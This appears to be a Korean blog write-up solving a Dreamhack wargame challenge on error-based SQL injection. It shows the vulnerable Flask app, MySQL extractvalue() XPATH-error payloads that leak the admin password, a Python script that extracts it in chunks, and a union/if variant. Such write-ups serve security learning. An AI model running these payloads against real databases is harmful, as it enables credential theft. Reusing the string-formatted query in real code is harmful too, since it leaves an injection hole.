본문 바로가기
드림핵

[드림핵]error based sql injection 풀이

by jwcs 2023. 5. 10.
728x90

https://dreamhack.io/wargame/challenges/412/

 

error based sql injection

Description Simple Error Based SQL Injection !

dreamhack.io

 

풀어보자

 

/

첫 화면이다.

 

blind sql injection과 달리 참 거짓의 유무를 알려주지 않는다. 코드를 살펴보도록 하자

 

import os
from flask import Flask, request
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
'''

@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        try:
            cur = mysql.connection.cursor()
            cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
            return template.format(uid=uid)
        except Exception as e:
            return str(e)
    else:
        return template


if __name__ == '__main__':
    app.run(host='0.0.0.0')

전체 코드다. try-except 구문을 보자. 오류가 발생하면 그 오류를 보여준다. 

 

여기서 취약점이 발생한다. 

 

extractvalue() 함수를 이용해 보겠다.

 

extractvalue 함수는 첫 번째 인자로 전달된 XML 데이터에서 두 번째 인자인 XPATH 식을 통해 데이터를 추출한다.

올바른 extractvalue() 예시

mysql> SELECT extractvalue('<a>test</a> <b>abcd</b>', '/a');
+-----------------------------------------------+
| extractvalue('<a>test</a> <b>abcd</b>', '/a') |
+-----------------------------------------------+
| test                                          |
+-----------------------------------------------+
1 row in set (0.00 sec)

 

여기서 취약점이 존재하는데, XPATH식에 select문과 같은 구문을 사용하면 select문의 실행 결과를 보여주게 된다.

잘못된 extractvalue() 예시

mysql> SELECT extractvalue(1, ':abcd');
ERROR 1105 (HY000): XPATH syntax error: ':abcd'
# ":" 로 시작하면 올바르지 않은 XPATH 식

 

따라서 이를 이용해서 익스플로잇을 해보자.

 

admin' and extractvalue(1,concat(0x3a,(select upw from user where uid="admin")))

 concat()함수 뒤에 0x3a는 무엇을 의미하는지 아는가. 이는 아스키 코드로 바꿔보면 ":"이다. 이것을 이렇게 쓰는 이유는 영문자로 출력시 영문자 부분이 잘리게 된다. 만약 0x41로 한다면 ADH{~~~~}가 아닌 영문자 ADH가 잘린 {~~~~}가 출력된다. 예상하기론 영문자 부분을 올바른 XPATH식으로 인식해서 생략하고 특수문자부터 출력하는 것 같다.

 따라서 ":"같은 특수문자를 입력해서 잘리는 부분 없이 출력하도록 해야한다.

 

 

실행결과 글자 수 초과로 인해 뒷부분이 잘린다. 이를 어떻게 해결할까

 

SUBSTRING()함수를 이용해 문자열을 잘라서 출력해보자.

 

admin' and extractvalue(1,concat(0x3a,(select SUBSTRING(upw,1,10) from user where uid="admin")))-- -

위 코드를 사용했을 때 출력 결과다.

substring에 대해 간략히 설명하지면, substring(자를 문자열, 시작위치, 출력할 문자열 갯수)이다.

 

총 문자열이 몇 개인지 모르니 무작정 손으로 하기엔 버거워 보인다. 익스플로잇 코드를 짜보자.

 

from requests import get

host="http://host2.dreamhack.games:11105/"
def injection():
    length=0
    r=get(f"{host}/?uid=admin' and extractvalue(1,concat(0x3a,(select length(upw) from user where uid='admin')))-- -")
    length=r.text[30:-3]        #문자열 길이 찾기

    upw=""
    query=""
    for i in range(1,int(length)+1,10):
        r=get(f"{host}/?uid=admin' and extractvalue(1,concat(0x3a,(SELECT SUBSTRING(upw,{i},10) FROM user WHERE uid='admin')))-- -")
        if "1105" in r.text:
            tmp=r.text[30:-3]
            upw+=tmp             #패스워드 찾기
    print(upw)

injection()

 위에서부터 설명해보자면, length를 이용해 플래그의 길이를 파악한다. 이후 SUBSTRING 함수를 이용해 문자열을 잘라가며 upw라는 변수에 이를 저장한다.

 이를 실행해보면?

 

짜자잔

 

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

if 문을 이용해서도 익스플로잇 코드를 짤 수 있다.

' union select '',if(length(upw) = {upw_len}, 9e307*2,0),'' from user where uid='admin'-- -

sql의 if문을 이용해 길이를 구하는 코드를 써봤다. 이 밖에도 time을 이용해서 풀 수 있지만, 이는 다음에 시간이 난다면 포스팅 하도록 하겠다.

728x90
반응형

'드림핵' 카테고리의 다른 글

[드림핵] XSS Filtering Bypass  (0) 2023.05.15
[드림핵] sql injection bypass WAF  (0) 2023.05.15
[드림핵]blind-command 풀이  (0) 2023.03.12
[드림핵]simple_sqli 풀이  (0) 2023.03.11
[드림핵]csrf-2 풀이  (0) 2023.03.11